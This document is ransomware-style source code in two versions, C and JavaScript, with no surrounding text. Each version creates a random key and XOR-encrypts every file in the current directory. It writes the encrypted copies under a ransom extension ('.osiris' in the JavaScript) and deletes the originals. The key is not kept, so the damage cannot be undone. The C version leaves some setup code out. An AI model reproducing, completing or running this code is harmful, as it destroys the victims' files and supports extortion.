```c
void encrypt_block(uint8_t *ret_char, uint8_t char_to_xor, int counter, const
uint8_t *key, size_t len_key) {
  uint8_t key_char = key[counter % len_key];
  *ret_char = char_to_xor ^ key_char;
}

void encrypt_file(const char *orig_filepath, const uint8_t *key, size_t len_key) {
  ... // declarations and some setup
  new_filepath = strdup(orig_filepath);
  strcat(new_filepath, RANSOMED_EXT);
  mem = (uint8_t *)mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, origfile_fd, 0);
  newmem = (uint8_t *)alloca(st.st_size);
  for (i = 0; i < st.st_size; i++) {
    encrypt_block(&newmem[i], mem[i], i, key, len_key);
  }
  if ((write(newfile_fd, newmem, st.st_size)) <= 0) {
    fprintf(stderr, "[!] write failed %s", new_filepath);
  return;
  }
  remove(orig_filepath);
  close(newfile_fd);
  close(origfile_fd);
}

int main(int argc, char **argv) {
  DIR *d; struct dirent *dir; char *key;
  key = (char *) alloca(KEY_LEN * sizeof(char));
  rand_str(key, KEY_LEN);
  d = opendir(".");
  if (d) {
    while ((dir = readdir(d)) != NULL) {
      encrypt_file(dir->d_name, (const uint8_t *)key, KEY_LEN);
    }
    closedir(d);
  }
}
```

```javascript
const fs = require('fs');
const RANSOMED_EXT = '.osiris';
const KEY_LEN = 32;

function encryptBlock(charToXor, counter, key) {
  const keyChar = key[counter % key.length];
  return charToXor ^ keyChar;
}

function encryptFile(origFilePath, key) {
  const newFilePath = origFilePath + RANSOMED_EXT;
  try {
    const origData = fs.readFileSync(origFilePath);
    const newData = Buffer.alloc(origData.length);
    for (let i = 0; i < origData.length; i++) {
    newData[i] = encryptBlock(origData[i], i, key);
    }
  fs.writeFileSync(newFilePath, newData);
  fs.unlinkSync(origFilePath);
  } catch (err) {
  console.error(`Error: ${err.message}`);
  }
}

function main() {
  const key = randStr(KEY_LEN);
  try {
    const files = fs.readdirSync('.');
    files.forEach((file) => {
    encryptFile(file, key);
    });
  } catch (err) {
  console.error(`Error: ${err.message}`);
  }
}
```